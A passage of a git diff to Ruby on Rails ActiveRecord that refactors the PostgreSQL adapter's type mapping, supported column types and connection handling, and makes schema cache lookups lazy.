-        include ConnectionAdapters::PostgreSQLColumn::Cast
-        include ConnectionAdapters::PostgreSQLColumn::ArrayParser
-        attr_accessor :money_precision
-      end
-      # :startdoc:
-
-      # Extracts the value from a PostgreSQL column default definition.
-      def self.extract_value_from_default(default)
-        # This is a performance optimization for Ruby 1.9.2 in development.
-        # If the value is nil, we return nil straight away without checking
-        # the regular expressions. If we check each regular expression,
-        # Regexp#=== will call NilClass#to_str, which will trigger
-        # method_missing (defined by whiny nil in ActiveSupport) which
-        # makes this method very very slow.
-        return default unless default
-
-        case default
-          when /\A'(.*)'::(num|date|tstz|ts|int4|int8)range\z/m
-            $1
-          # Numeric types
-          when /\A\(?(-?\d+(\.\d*)?\)?(::bigint)?)\z/
-            $1
-          # Character types
-          when /\A\(?'(.*)'::.*\b(?:character varying|bpchar|text)\z/m
-            $1.gsub(/''/, "'")
-          # Binary data types
-          when /\A'(.*)'::bytea\z/m
-            $1
-          # Date/time types
-          when /\A'(.+)'::(?:time(?:stamp)? with(?:out)? time zone|date)\z/
-            $1
-          when /\A'(.*)'::interval\z/
-            $1
-          # Boolean type
-          when 'true'
-            true
-          when 'false'
-            false
-          # Geometric types
-          when /\A'(.*)'::(?:point|line|lseg|box|"?path"?|polygon|circle)\z/
-            $1
-          # Network address types
-          when /\A'(.*)'::(?:cidr|inet|macaddr)\z/
-            $1
-          # Bit string types
-          when /\AB'(.*)'::"?bit(?: varying)?"?\z/
-            $1
-          # XML type
-          when /\A'(.*)'::xml\z/m
-            $1
-          # Arrays
-          when /\A'(.*)'::"?\D+"?\[\]\z/
-            $1
-          # Hstore
-          when /\A'(.*)'::hstore\z/
-            $1
-          # JSON
-          when /\A'(.*)'::json\z/
-            $1
-          # Object identifier types
-          when /\A-?\d+\z/
-            $1
-          else
-            # Anything else is blank, some user type, or some function
-            # and we can't know the value of that, so return nil.
-            nil
-        end
-      end
-
-      def type_cast_for_write(value)
-        if @oid_type.respond_to?(:type_cast_for_write)
-          @oid_type.type_cast_for_write(value)
-        else
-          super
-        end
-      end
-
-      def type_cast(value)
-        return if value.nil?
-        return super if encoded?
-
-        @oid_type.type_cast value
-      end
-
-      private
-
-        def extract_limit(sql_type)
-          case sql_type
-          when /^bigint/i;    8
-          when /^smallint/i;  2
-          when /^timestamp/i; nil
-          else super
-          end
-        end
-
-        # Extracts the scale from PostgreSQL-specific data types.
-        def extract_scale(sql_type)
-          # Money type has a fixed scale of 2.
-          sql_type =~ /^money/ ? 2 : super
-        end
-
-        # Extracts the precision from PostgreSQL-specific data types.
-        def extract_precision(sql_type)
-          if sql_type == 'money'
-            self.class.money_precision
-          elsif sql_type =~ /timestamp/i
-            $1.to_i if sql_type =~ /\((\d+)\)/
-          else
-            super
-          end
-        end
-
-        # Maps PostgreSQL-specific data types to logical Rails types.
-        def simplified_type(field_type)
-          case field_type
-          # Numeric and monetary types
-          when /^(?:real|double precision)$/
-            :float
-          # Monetary types
-          when 'money'
-            :decimal
-          when 'hstore'
-            :hstore
-          when 'ltree'
-            :ltree
-          # Network address types
-          when 'inet'
-            :inet
-          when 'cidr'
-            :cidr
-          when 'macaddr'
-            :macaddr
-          # Character types
-          when /^(?:character varying|bpchar)(?:\(\d+\))?$/
-            :string
-          # Binary data types
-          when 'bytea'
-            :binary
-          # Date/time types
-          when /^timestamp with(?:out)? time zone$/
-            :datetime
-          when /^interval(?:|\(\d+\))$/
-            :string
-          # Geometric types
-          when /^(?:point|line|lseg|box|"?path"?|polygon|circle)$/
-            :string
-          # Bit strings
-          when /^bit(?: varying)?(?:\(\d+\))?$/
-            :string
-          # XML type
-          when 'xml'
-            :xml
-          # tsvector type
-          when 'tsvector'
-            :tsvector
-          # Arrays
-          when /^\D+\[\]$/
-            :string
-          # Object identifier types
-          when 'oid'
-            :integer
-          # UUID type
-          when 'uuid'
-            :uuid
-          # JSON type
-          when 'json'
-            :json
-          # Small and big integer types
-          when /^(?:small|big)int$/
-            :integer
-          when /(num|date|tstz|ts|int4|int8)range$/
-            field_type.to_sym
-          # Pass through all types that are not specific to PostgreSQL.
-          else
-            super
-          end
-        end
-    end
-
     # The PostgreSQL adapter works with the native C (https://bitbucket.org/ged/ruby-pg) driver.
     #
     # Options:
@@ -257,7 +64,7 @@ module ActiveRecord
     #   <tt>SET client_min_messages TO <min_messages></tt> call on the connection.
     # * <tt>:variables</tt> - An optional hash of additional parameters that
     #   will be used in <tt>SET SESSION key = val</tt> calls on the connection.
-    # * <tt>:insert_returning</tt> - An optional boolean to control the use or <tt>RETURNING</tt> for <tt>INSERT</tt> statements
+    # * <tt>:insert_returning</tt> - An optional boolean to control the use of <tt>RETURNING</tt> for <tt>INSERT</tt> statements
     #   defaults to true.
     #
     # Any further options are used as connection parameters to libpq. See
@@ -267,142 +74,17 @@ module ActiveRecord
     # In addition, default connection parameters of libpq can be set per environment variables.
     # See http://www.postgresql.org/docs/9.1/static/libpq-envars.html .
     class PostgreSQLAdapter < AbstractAdapter
-      class ColumnDefinition < ActiveRecord::ConnectionAdapters::ColumnDefinition
-        attr_accessor :array
-      end
-
-      module ColumnMethods
-        def xml(*args)
-          options = args.extract_options!
-          column(args[0], 'xml', options)
-        end
-
-        def tsvector(*args)
-          options = args.extract_options!
-          column(args[0], 'tsvector', options)
-        end
-
-        def int4range(name, options = {})
-          column(name, 'int4range', options)
-        end
-
-        def int8range(name, options = {})
-          column(name, 'int8range', options)
-        end
-
-        def tsrange(name, options = {})
-          column(name, 'tsrange', options)
-        end
-
-        def tstzrange(name, options = {})
-          column(name, 'tstzrange', options)
-        end
-
-        def numrange(name, options = {})
-          column(name, 'numrange', options)
-        end
-
-        def daterange(name, options = {})
-          column(name, 'daterange', options)
-        end
-
-        def hstore(name, options = {})
-          column(name, 'hstore', options)
-        end
-
-        def ltree(name, options = {})
-          column(name, 'ltree', options)
-        end
-
-        def inet(name, options = {})
-          column(name, 'inet', options)
-        end
-
-        def cidr(name, options = {})
-          column(name, 'cidr', options)
-        end
-
-        def macaddr(name, options = {})
-          column(name, 'macaddr', options)
-        end
-
-        def uuid(name, options = {})
-          column(name, 'uuid', options)
-        end
-
-        def json(name, options = {})
-          column(name, 'json', options)
-        end
-      end
-
-      class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
-        include ColumnMethods
-
-        # Defines the primary key field.
-        # Use of the native PostgreSQL UUID type is supported, and can be used
-        # by defining your tables as such:
-        #
-        #   create_table :stuffs, id: :uuid do |t|
-        #     t.string :content
-        #     t.timestamps
-        #   end
-        #
-        # By default, this will use the +uuid_generate_v4()+ function from the
-        # +uuid-ossp+ extension, which MUST be enabled on your database. To enable
-        # the +uuid-ossp+ extension, you can use the +enable_extension+ method in your
-        # migrations. To use a UUID primary key without +uuid-ossp+ enabled, you can
-        # set the +:default+ option to +nil+:
-        #
-        #   create_table :stuffs, id: false do |t|
-        #     t.primary_key :id, :uuid, default: nil
-        #     t.uuid :foo_id
-        #     t.timestamps
-        #   end
-        #
-        # You may also pass a different UUID generation function from +uuid-ossp+
-        # or another library.
-        #
-        # Note that setting the UUID primary key default value to +nil+ will
-        # require you to assure that you always provide a UUID value before saving
-        # a record (as primary keys cannot be +nil+). This might be done via the
-        # +SecureRandom.uuid+ method and a +before_save+ callback, for instance.
-        def primary_key(name, type = :primary_key, options = {})
-          return super unless type == :uuid
-          options[:default] = options.fetch(:default, 'uuid_generate_v4()')
-          options[:primary_key] = true
-          column name, type, options
-        end
-
-        def column(name, type = nil, options = {})
-          super
-          column = self[name]
-          column.array = options[:array]
-
-          self
-        end
-
-        private
-
-          def create_column_definition(name, type)
-            ColumnDefinition.new name, type
-          end
-      end
-
-      class Table < ActiveRecord::ConnectionAdapters::Table
-        include ColumnMethods
-      end
-
-      ADAPTER_NAME = 'PostgreSQL'
+      ADAPTER_NAME = 'PostgreSQL'.freeze
 
       NATIVE_DATABASE_TYPES = {
         primary_key: "serial primary key",
-        string:      { name: "character varying", limit: 255 },
+        bigserial: "bigserial",
+        string:      { name: "character varying" },
         text:        { name: "text" },
         integer:     { name: "integer" },
         float:       { name: "float" },
         decimal:     { name: "decimal" },
         datetime:    { name: "timestamp" },
-        timestamp:   { name: "timestamp" },
         time:        { name: "time" },
         date:        { name: "date" },
         daterange:   { name: "daterange" },
@@ -413,6 +95,7 @@ module ActiveRecord
         int8range:   { name: "int8range" },
         binary:      { name: "bytea" },
         boolean:     { name: "boolean" },
+        bigint:      { name: "bigint" },
         xml:         { name: "xml" },
         tsvector:    { name: "tsvector" },
         hstore:      { name: "hstore" },
@@ -421,28 +104,52 @@ module ActiveRecord
         macaddr:     { name: "macaddr" },
         uuid:        { name: "uuid" },
         json:        { name: "json" },
-        ltree:       { name: "ltree" }
+        jsonb:       { name: "jsonb" },
+        ltree:       { name: "ltree" },
+        citext:      { name: "citext" },
+        point:       { name: "point" },
+        bit:         { name: "bit" },
+        bit_varying: { name: "bit varying" },
+        money:       { name: "money" },
       }
 
-      include Quoting
-      include ReferentialIntegrity
-      include SchemaStatements
-      include DatabaseStatements
+      OID = PostgreSQL::OID #:nodoc:
 
-      # Returns 'PostgreSQL' as adapter name for identification purposes.
-      def adapter_name
-        ADAPTER_NAME
+      include PostgreSQL::Quoting
+      include PostgreSQL::ReferentialIntegrity
+      include PostgreSQL::SchemaStatements
+      include PostgreSQL::DatabaseStatements
+      include Savepoints
+
+      def schema_creation # :nodoc:
+        PostgreSQL::SchemaCreation.new self
+      end
+
+      def column_spec_for_primary_key(column)
+        spec = {}
+        if column.serial?
+          return unless column.sql_type == 'bigint'
+          spec[:id] = ':bigserial'
+        elsif column.type == :uuid
+          spec[:id] = ':uuid'
+          spec[:default] = column.default_function.inspect
+        else
+          spec[:id] = column.type.inspect
+          spec.merge!(prepare_column_options(column).delete_if { |key, _| [:name, :type, :null].include?(key) })
+        end
+        spec
       end
 
-      # Adds `:array` option to the default set provided by the
+      # Adds +:array+ option to the default set provided by the
       # AbstractAdapter
-      def prepare_column_options(column, types)
+      def prepare_column_options(column) # :nodoc:
         spec = super
-        spec[:array] = 'true' if column.respond_to?(:array) && column.array
+        spec[:array] = 'true' if column.array?
+        spec[:default] = "\"#{column.default_function}\"" if column.default_function
         spec
       end
 
-      # Adds `:array` as a valid migration key
+      # Adds +:array+ as a valid migration key
       def migration_keys
         super + [:array]
       end
@@ -465,6 +172,18 @@ module ActiveRecord
         true
       end
 
+      def supports_foreign_keys?
+        true
+      end
+
+      def supports_views?
+        true
+      end
+
+      def supports_datetime_with_precision?
+        true
+      end
+
       def index_algorithms
         { concurrently: 'CONCURRENTLY' }
       end
@@ -522,18 +241,15 @@ module ActiveRecord
           end
       end
 
-      class BindSubstitution < Arel::Visitors::PostgreSQL # :nodoc:
-        include Arel::Visitors::BindVisitor
-      end
-
       # Initializes and connects a PostgreSQL adapter.
       def initialize(connection, logger, connection_parameters, config)
         super(connection, logger)
 
+        @visitor = Arel::Visitors::PostgreSQL.new self
         if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
-          @visitor = Arel::Visitors::PostgreSQL.new self
+          @prepared_statements = true
         else
-          @visitor = unprepared_visitor
+          @prepared_statements = false
         end
 
         @connection_parameters, @config = connection_parameters, config
@@ -543,6 +259,8 @@ module ActiveRecord
         @table_alias_length = nil
 
         connect
+        add_pg_decoders
+
         @statements = StatementPool.new @connection,
                                         self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 })
 
@@ -550,7 +268,8 @@ module ActiveRecord
           raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!"
         end
 
-        initialize_type_map
+        @type_map = Type::HashLookupTypeMap.new
+        initialize_type_map(type_map)
         @local_tz = execute('SHOW TIME ZONE', 'SCHEMA').first["TimeZone"]
         @use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
       end
@@ -560,9 +279,14 @@ module ActiveRecord
         @statements.clear
       end
 
+      def truncate(table_name, name = nil)
+        exec_query "TRUNCATE TABLE #{quote_table_name(table_name)}", name, []
+      end
+
       # Is this connection alive and ready for queries?
       def active?
-        @connection.connect_poll != PG::PGRES_POLLING_FAILED
+        @connection.query 'SELECT 1'
+        true
       rescue PGError
         false
       end
@@ -576,7 +300,12 @@ module ActiveRecord
 
       def reset!
         clear_cache!
-        super
+        reset_transaction
+        unless @connection.transaction_status == ::PG::PQTRANS_IDLE
+          @connection.query 'ROLLBACK'
+        end
+        @connection.query 'DISCARD ALL'
+        configure_connection
       end
 
       # Disconnects from the database if already connected. Otherwise, this
@@ -608,20 +337,10 @@ module ActiveRecord
         self.client_min_messages = old
       end
 
-      def supports_insert_with_returning?
-        true
-      end
-
       def supports_ddl_transactions?
         true
       end
 
-      # Returns true, since this connection adapter supports savepoints.
-      def supports_savepoints?
-        true
-      end
-
-      # Returns true.
       def supports_explain?
         true
       end
@@ -636,6 +355,10 @@ module ActiveRecord
         postgresql_version >= 90200
       end
 
+      def supports_materialized_views?
+        postgresql_version >= 90300
+      end
+
       def enable_extension(name)
         exec_query("CREATE EXTENSION IF NOT EXISTS \"#{name}\"").tap {
           reload_type_map
@@ -652,14 +375,13 @@ module ActiveRecord
         if supports_extensions?
           res = exec_query "SELECT EXISTS(SELECT * FROM pg_available_extensions WHERE name = '#{name}' AND installed_version IS NOT NULL) as enabled",
             'SCHEMA'
-          res.column_types['enabled'].type_cast res.rows.first.first
+          res.cast_values.first
         end
       end
 
       def extensions
         if supports_extensions?
-          res = exec_query "SELECT extname from pg_extension", "SCHEMA"
-          res.rows.map { |r| res.column_types['extname'].type_cast r.first }
+          exec_query("SELECT extname from pg_extension", "SCHEMA").cast_values
         else
           super
         end
@@ -676,25 +398,6 @@ module ActiveRecord
         exec_query "SET SESSION AUTHORIZATION #{user}"
       end
 
-      module Utils
-        extend self
-
-        # Returns an array of <tt>[schema_name, table_name]</tt> extracted from +name+.
-        # +schema_name+ is nil if not specified in +name+.
-        # +schema_name+ and +table_name+ exclude surrounding quotes (regardless of whether provided in +name+)
-        # +name+ supports the range of schema/table references understood by PostgreSQL, for example:
-        #
-        # * <tt>table_name</tt>
-        # * <tt>"table.name"</tt>
-        # * <tt>schema_name.table_name</tt>
-        # * <tt>schema_name."table.name"</tt>
-        # * <tt>"schema.name"."table name"</tt>
-        def extract_schema_and_table(name)
-          table, schema = name.scan(/[^".\s]+|"[^"]*"/)[0..1].collect{|m| m.gsub(/(^"|"$)/,'') }.reverse
-          [schema, table]
-        end
-      end
-
       def use_insert_returning?
         @use_insert_returning
       end
@@ -703,6 +406,25 @@ module ActiveRecord
         !native_database_types[type].nil?
       end
 
+      def update_table_definition(table_name, base) #:nodoc:
+        PostgreSQL::Table.new(table_name, base)
+      end
+
+      def lookup_cast_type(sql_type) # :nodoc:
+        oid = execute("SELECT #{quote(sql_type)}::regtype::oid", "SCHEMA").first['oid'].to_i
+        super(oid)
+      end
+
+      def column_name_for_operation(operation, node) # :nodoc:
+        OPERATION_ALIASES.fetch(operation) { operation.downcase }
+      end
+
+      OPERATION_ALIASES = { # :nodoc:
+        "maximum" => "max",
+        "minimum" => "min",
+        "average" => "avg",
+      }
+
       protected
 
         # Returns the version of the connected PostgreSQL server.
@@ -729,65 +451,181 @@ module ActiveRecord
 
       private
 
-        def reload_type_map
-          OID::TYPE_MAP.clear
-          initialize_type_map
+        def get_oid_type(oid, fmod, column_name, sql_type = '') # :nodoc:
+          if !type_map.key?(oid)
+            load_additional_types(type_map, [oid])
+          end
+
+          type_map.fetch(oid, fmod, sql_type) {
+            warn "unknown OID #{oid}: failed to recognize type of '#{column_name}'. It will be treated as String."
+            Type::Value.new.tap do |cast_type|
+              type_map.register_type(oid, cast_type)
+            end
+          }
+        end
+
+        def initialize_type_map(m) # :nodoc:
+          register_class_with_limit m, 'int2', Type::Integer
+          register_class_with_limit m, 'int4', Type::Integer
+          register_class_with_limit m, 'int8', Type::Integer
+          m.alias_type 'oid', 'int2'
+          m.register_type 'float4', Type::Float.new
+          m.alias_type 'float8', 'float4'
+          m.register_type 'text', Type::Text.new
+          register_class_with_limit m, 'varchar', Type::String
+          m.alias_type 'char', 'varchar'
+          m.alias_type 'name', 'varchar'
+          m.alias_type 'bpchar', 'varchar'
+          m.register_type 'bool', Type::Boolean.new
+          register_class_with_limit m, 'bit', OID::Bit
+          register_class_with_limit m, 'varbit', OID::BitVarying
+          m.alias_type 'timestamptz', 'timestamp'
+          m.register_type 'date', Type::Date.new
+
+          m.register_type 'money', OID::Money.new
+          m.register_type 'bytea', OID::Bytea.new
+          m.register_type 'point', OID::Point.new
+          m.register_type 'hstore', OID::Hstore.new
+          m.register_type 'json', OID::Json.new
+          m.register_type 'jsonb', OID::Jsonb.new
+          m.register_type 'cidr', OID::Cidr.new
+          m.register_type 'inet', OID::Inet.new
+          m.register_type 'uuid', OID::Uuid.new
+          m.register_type 'xml', OID::Xml.new
+          m.register_type 'tsvector', OID::SpecializedString.new(:tsvector)
+          m.register_type 'macaddr', OID::SpecializedString.new(:macaddr)
+          m.register_type 'citext', OID::SpecializedString.new(:citext)
+          m.register_type 'ltree', OID::SpecializedString.new(:ltree)
+
+          # FIXME: why are we keeping these types as strings?
+          m.alias_type 'interval', 'varchar'
+          m.alias_type 'path', 'varchar'
+          m.alias_type 'line', 'varchar'
+          m.alias_type 'polygon', 'varchar'
+          m.alias_type 'circle', 'varchar'
+          m.alias_type 'lseg', 'varchar'
+          m.alias_type 'box', 'varchar'
+
+          register_class_with_precision m, 'time', Type::Time
+          register_class_with_precision m, 'timestamp', OID::DateTime
+
+          m.register_type 'numeric' do |_, fmod, sql_type|
+            precision = extract_precision(sql_type)
+            scale = extract_scale(sql_type)
+
+            # The type for the numeric depends on the width of the field,
+            # so we'll do something special here.
+            #
+            # When dealing with decimal columns:
+            #
+            # places after decimal  = fmod - 4 & 0xffff
+            # places before decimal = (fmod - 4) >> 16 & 0xffff
+            if fmod && (fmod - 4 & 0xffff).zero?
+              # FIXME: Remove this class, and the second argument to
+              # lookups on PG
+              Type::DecimalWithoutScale.new(precision: precision)
+            else
+              OID::Decimal.new(precision: precision, scale: scale)
+            end
+          end
+
+          load_additional_types(m)
         end
 
-        def initialize_type_map
-          result = execute('SELECT oid, typname, typelem, typdelim, typinput FROM pg_type', 'SCHEMA')
-          leaves, nodes = result.partition { |row| row['typelem'] == '0' }
+        def extract_limit(sql_type) # :nodoc:
+          case sql_type
+          when /^bigint/i, /^int8/i
+            8
+          when /^smallint/i
+            2
+          else
+            super
+          end
+        end
 
-          # populate the leaf nodes
-          leaves.find_all { |row| OID.registered_type? row['typname'] }.each do |row|
-            OID::TYPE_MAP[row['oid'].to_i] = OID::NAMES[row['typname']]
+        # Extracts the value from a PostgreSQL column default definition.
+        def extract_value_from_default(default) # :nodoc:
+          case default
+            # Quoted types
+            when /\A[\(B]?'(.*)'::/m
+              $1.gsub(/''/, "'")
+            # Boolean types
+            when 'true', 'false'
+              default
+            # Numeric types
+            when /\A\(?(-?\d+(\.\d*)?)\)?(::bigint)?\z/
+              $1
+            # Object identifier types
+            when /\A-?\d+\z/
+              $1
+            else
+              # Anything else is blank, some user type, or some function
+              # and we can't know the value of that, so return nil.
+              nil
           end
+        end
 
-          arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in' }
+        def extract_default_function(default_value, default) # :nodoc:
+          default if has_default_function?(default_value, default)
+        end
 
-          # populate composite types
-          nodes.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
-            if OID.registered_type? row['typname']
-              # this composite type is explicitly registered
-              vector = OID::NAMES[row['typname']]
-            else
-              # use the default for composite types
-              vector = OID::Vector.new row['typdelim'], OID::TYPE_MAP[row['typelem'].to_i]
-            end
+        def has_default_function?(default_value, default) # :nodoc:
+          !default_value && (%r{\w+\(.*\)} === default)
+        end
 
-            OID::TYPE_MAP[row['oid'].to_i] = vector
+        def load_additional_types(type_map, oids = nil) # :nodoc:
+          if supports_ranges?
+            query = <<-SQL
+              SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, r.rngsubtype, t.typtype, t.typbasetype
+              FROM pg_type as t
+              LEFT JOIN pg_range as r ON oid = rngtypid
+            SQL
+          else
+            query = <<-SQL
+              SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, t.typtype, t.typbasetype
+              FROM pg_type as t
+            SQL
           end
 
-          # populate array types
-          arrays.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
-            array = OID::Array.new  OID::TYPE_MAP[row['typelem'].to_i]
-            OID::TYPE_MAP[row['oid'].to_i] = array
+          if oids
+            query += "WHERE t.oid::integer IN (%s)" % oids.join(", ")
           end
+
+          initializer = OID::TypeMapInitializer.new(type_map)
+          records = execute(query, 'SCHEMA')
+          initializer.run(records)
         end
 
-        FEATURE_NOT_SUPPORTED = "0A000" # :nodoc:
+        FEATURE_NOT_SUPPORTED = "0A000" #:nodoc:
 
-        def exec_no_cache(sql, binds)
-          @connection.async_exec(sql)
+        def execute_and_clear(sql, name, binds)
+          result = without_prepared_statement?(binds) ? exec_no_cache(sql, name, binds) :
+                                                        exec_cache(sql, name, binds)
+          ret = yield result
+          result.clear
+          ret
         end
 
-        def exec_cache(sql, binds)
+        def exec_no_cache(sql, name, binds)
+          log(sql, name, binds) { @connection.async_exec(sql, []) }
+        end
+
+        def exec_cache(sql, name, binds)
           stmt_key = prepare_statement(sql)
+          type_casted_binds = binds.map { |attr| type_cast(attr.value_for_database) }
+
+          log(sql, name, binds, stmt_key) do
+            @connection.exec_prepared(stmt_key, type_casted_binds)
+          end
+        rescue ActiveRecord::StatementInvalid => e
+          pgerror = e.original_exception
 
-          # Clear the queue
-          @connection.get_last_result
-          @connection.send_query_prepared(stmt_key, binds.map { |col, val|
-            type_cast(val, col)
-          })
-          @connection.block
-          @connection.get_last_result
-        rescue PGError => e
           # Get the PG code for the failure.  Annoyingly, the code for
           # prepared statements whose return value may have changed is
           # FEATURE_NOT_SUPPORTED.  Check here for more details:
           # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573
           begin
-            code = e.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
+            code = pgerror.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
           rescue
             raise e
           end
@@ -811,17 +649,18 @@ module ActiveRecord
           sql_key = sql_key(sql)
           unless @statements.key? sql_key
             nextkey = @statements.next_key
-            @connection.prepare nextkey, sql
+            begin
+              @connection.prepare nextkey, sql
+            rescue => e
+              raise translate_exception_class(e, sql)
+            end
+            # Clear the queue
+            @connection.get_last_result
             @statements[sql_key] = nextkey
           end
           @statements[sql_key]
         end
 
-        # The internal PostgreSQL identifier of the money data type.
-        MONEY_COLUMN_TYPE_OID = 790 #:nodoc:
-        # The internal PostgreSQL identifier of the BYTEA data type.
-        BYTEA_COLUMN_TYPE_OID = 17 #:nodoc:
-
         # Connects to a PostgreSQL server and sets up the adapter depending on the
         # connected server's characteristics.
         def connect
@@ -830,9 +669,15 @@ module ActiveRecord
           # Money type has a fixed precision of 10 in PostgreSQL 8.2 and below, and as of
           # PostgreSQL 8.3 it has a fixed precision of 19. PostgreSQLColumn.extract_precision
           # should know about this but can't detect it there, so deal with it here.
-          PostgreSQLColumn.money_precision = (postgresql_version >= 80300) ? 19 : 10
+          OID::Money.precision = (postgresql_version >= 80300) ? 19 : 10
 
           configure_connection
+        rescue ::PG::Error => error
+          if error.message.include?("does not exist")
+            raise ActiveRecord::NoDatabaseError.new(error.message, error)
+          else
+            raise
+          end
         end
 
         # Configures the encoding, verbosity, schema search path, and time zone of the connection.
@@ -862,9 +707,9 @@ module ActiveRecord
           variables.map do |k, v|
             if v == ':default' || v == :default
               # Sets the value to the global or compile default
-              execute("SET SESSION #{k.to_s} TO DEFAULT", 'SCHEMA')
+              execute("SET SESSION #{k} TO DEFAULT", 'SCHEMA')
             elsif !v.nil?
-              execute("SET SESSION #{k.to_s} TO #{quote(v)}", 'SCHEMA')
+              execute("SET SESSION #{k} TO #{quote(v)}", 'SCHEMA')
             end
           end
         end
@@ -882,20 +727,6 @@ module ActiveRecord
           exec_query("SELECT currval('#{sequence_name}')", 'SQL')
         end
 
-        # Executes a SELECT query and returns the results, performing any data type
-        # conversions that are required to be performed here instead of in PostgreSQLColumn.
-        def select(sql, name = nil, binds = [])
-          exec_query(sql, name, binds)
-        end
-
-        def select_raw(sql, name = nil)
-          res = execute(sql, name)
-          results = result_as_array(res)
-          fields = res.fields
-          res.clear
-          return fields, results
-        end
-
         # Returns the list of a table's column names, data types, and default values.
         #
         # The underlying query is roughly:
@@ -914,7 +745,7 @@ module ActiveRecord
         # Query implementation notes:
         #  - format_type includes the column size constraint, e.g. varchar(50)
         #  - ::regclass is a function that gives the id for a table name
-        def column_definitions(table_name) #:nodoc:
+        def column_definitions(table_name) # :nodoc:
           exec_query(<<-end_sql, 'SCHEMA').rows
               SELECT a.attname, format_type(a.atttypid, a.atttypmod),
                      pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod
@@ -926,27 +757,61 @@ module ActiveRecord
           end_sql
         end
 
-        def extract_pg_identifier_from_name(name)
-          match_data = name.start_with?('"') ? name.match(/\"([^\"]+)\"/) : name.match(/([^\.]+)/)
+        def extract_table_ref_from_insert_sql(sql) # :nodoc:
+          sql[/into\s+([^\(]*).*values\s*\(/im]
+          $1.strip if $1
+        end
 
-          if match_data
-            rest = name[match_data[0].length, name.length]
-            rest = rest[1, rest.length] if rest.start_with? "."
-            [match_data[1], (rest.length > 0 ? rest : nil)]
+        def create_table_definition(name, temporary = false, options = nil, as = nil) # :nodoc:
+          PostgreSQL::TableDefinition.new native_database_types, name, temporary, options, as
+        end
+
+        def can_perform_case_insensitive_comparison_for?(column)
+          @case_insensitive_cache ||= {}
+          @case_insensitive_cache[column.sql_type] ||= begin
+            sql = <<-end_sql
+              SELECT exists(
+                SELECT * FROM pg_proc
+                INNER JOIN pg_cast
+                  ON casttarget::text::oidvector = proargtypes
+                WHERE proname = 'lower'
+                  AND castsource = '#{column.sql_type}'::regtype::oid
+              )
+            end_sql
+            execute_and_clear(sql, "SCHEMA", []) do |result|
+              result.getvalue(0, 0) == 't'
+            end
           end
         end
 
-        def extract_table_ref_from_insert_sql(sql)
-          sql[/into\s+([^\(]*).*values\s*\(/i]
-          $1.strip if $1
-        end
+        def add_pg_decoders
+          coders_by_name = {
+            'int2' => PG::TextDecoder::Integer,
+            'int4' => PG::TextDecoder::Integer,
+            'int8' => PG::TextDecoder::Integer,
+            'oid' => PG::TextDecoder::Integer,
+            'float4' => PG::TextDecoder::Float,
+            'float8' => PG::TextDecoder::Float,
+            'bool' => PG::TextDecoder::Boolean,
+          }
+          query = <<-SQL
+            SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, t.typtype, t.typbasetype
+            FROM pg_type as t
+          SQL
+          coders = execute_and_clear(query, "SCHEMA", []) do |result|
+            result
+              .map { |row| construct_coder(row, coders_by_name['typname']) }
+              .compact
+          end
 
-        def create_table_definition(name, temporary, options)
-          TableDefinition.new native_database_types, name, temporary, options
+          map = PG::TypeMapByOid.new
+          coders.each { |coder| map.add_coder(coder) }
+          @connection.type_map_for_results = map
         end
 
-        def update_table_definition(table_name, base)
-          Table.new(table_name, base)
+        def construct_coder(row, coder_class)
+          return unless coder_class
+          coder_class.new(oid: row['oid'], name: row['typname'])
         end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/schema_cache.rb b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
index e5c9f6f54a..37ff4e4613 100644
--- a/activerecord/lib/active_record/connection_adapters/schema_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
@@ -1,4 +1,3 @@
-
 module ActiveRecord
   module ConnectionAdapters
     class SchemaCache
@@ -12,15 +11,15 @@ module ActiveRecord
         @columns_hash = {}
         @primary_keys = {}
         @tables       = {}
-        prepare_default_proc
       end
 
       def primary_keys(table_name)
-        @primary_keys[table_name]
+        @primary_keys[table_name] ||= table_exists?(table_name) ? connection.primary_key(table_name) : nil
       end
 
       # A cached lookup for table existence.
       def table_exists?(name)
+        prepare_tables if @tables.empty?
         return @tables[name] if @tables.key? name
 
         @tables[name] = connection.table_exists?(name)
@@ -29,9 +28,9 @@ module ActiveRecord
       # Add internal cache for table with +table_name+.
       def add(table_name)
         if table_exists?(table_name)
-          @primary_keys[table_name]
-          @columns[table_name]
-          @columns_hash[table_name]
+          primary_keys(table_name)
+          columns(table_name)
+          columns_hash(table_name)
         end
       end
 
@@ -40,14 +39,16 @@ module ActiveRecord
       end
 
       # Get the columns for a table
-      def columns(table)
-        @columns[table]
+      def columns(table_name)
+        @columns[table_name] ||= connection.columns(table_name)
       end
 
       # Get the columns for a table as a hash, key is the column name
       # value is the column object.
-      def columns_hash(table)
-        @columns_hash[table]
+      def columns_hash(table_name)
+        @columns_hash[table_name] ||= Hash[columns(table_name).map { |col|
+          [col.name, col]
+        }]
       end
 
       # Clears out internal caches
@@ -60,9 +61,7 @@ module ActiveRecord
       end
 
       def size
-        [@columns, @columns_hash, @primary_keys, @tables].map { |x|
-          x.size
-        }.inject :+
+        [@columns, @columns_hash, @primary_keys, @tables].map(&:size).inject :+
       end
 
       # Clear out internal caches for table with +table_name+.
@@ -76,33 +75,18 @@ module ActiveRecord
       def marshal_dump
         # if we get current version during initialization, it happens stack over flow.
         @version = ActiveRecord::Migrator.current_version
-        [@version] + [@columns, @columns_hash, @primary_keys, @tables].map { |val|
-          Hash[val]
-        }
+        [@version, @columns, @columns_hash, @primary_keys, @tables]
       end
 
       def marshal_load(array)
         @version, @columns, @columns_hash, @primary_keys, @tables = array
-        prepare_default_proc
       end
